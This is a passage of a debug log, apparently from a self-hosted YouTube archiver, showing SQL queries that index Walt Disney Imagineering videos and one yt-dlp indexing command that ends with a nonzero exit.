idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:08.695 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 00:00:00Z], 2] 18:55:08.741 [debug] QUERY OK source="media_items" db=45.5ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "685fb8f2-3341-430a-a897-ef165645c56c", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, false, 18, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, false, 2, [], 98, ~U[2025-09-29 00:00:00Z], ~U[2026-03-29 22:55:08Z], ~U[2026-03-29 22:55:08Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", nil, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, 2, ~U[2025-09-29 00:00:00Z]] 18:55:08.742 [debug] QUERY OK source="sources" db=0.2ms idle=200.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:08.742 [debug] QUERY OK source="media_profiles" db=0.2ms idle=48.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:08.743 [debug] QUERY OK source="media_items" db=0.2ms idle=48.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1942] 18:55:08.743 [debug] Current batch of media processed. Will check again in 1000ms 18:55:09.744 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", "id" => "2h_2wZM2YeA", "original_url" => "https://www.youtube.com/watch?v=2h_2wZM2YeA", "playlist_index" => 19, "title" => "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "upload_date" => "20250922"} 18:55:09.745 [debug] QUERY OK source="sources" db=0.2ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:09.745 [debug] QUERY OK source="sources" db=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:09.746 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 00:00:00Z], 2] 18:55:09.748 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "abef43fc-7c44-407b-ab3a-cb208c74b4c9", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, false, 19, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, false, 2, [], 98, ~U[2025-09-22 00:00:00Z], ~U[2026-03-29 22:55:09Z], ~U[2026-03-29 22:55:09Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", nil, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, 2, ~U[2025-09-22 00:00:00Z]] 18:55:09.748 [debug] QUERY OK source="sources" db=0.1ms idle=206.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:09.748 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:09.749 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1850] 18:55:09.749 [debug] Current batch of media processed. Will check again in 1000ms 18:55:10.080 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/29/0d/290d086cf88f905332a8205516592e63c997fb4c356a889bb4db58a6fee15588.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/94/fe/94fecf41d63ca6520fd42904df43b34c0fe4e0bf31943cc68593efe00e7e0cdb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:55:10.081 [debug] Gracefully stopping file follower 18:55:10.082 [debug] QUERY OK source="sources" db=0.3ms idle=335.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:10.082 [debug] QUERY OK source="sources" db=0.1ms idle=334.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.083 [debug] QUERY OK source="media_items" db=0.6ms idle=334.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 2] 18:55:10.086 [debug] QUERY OK source="media_items" db=2.4ms idle=334.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "c90906a8-e778-40d8-a710-41aed70026f3", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, false, 1, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", false, false, 2, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → 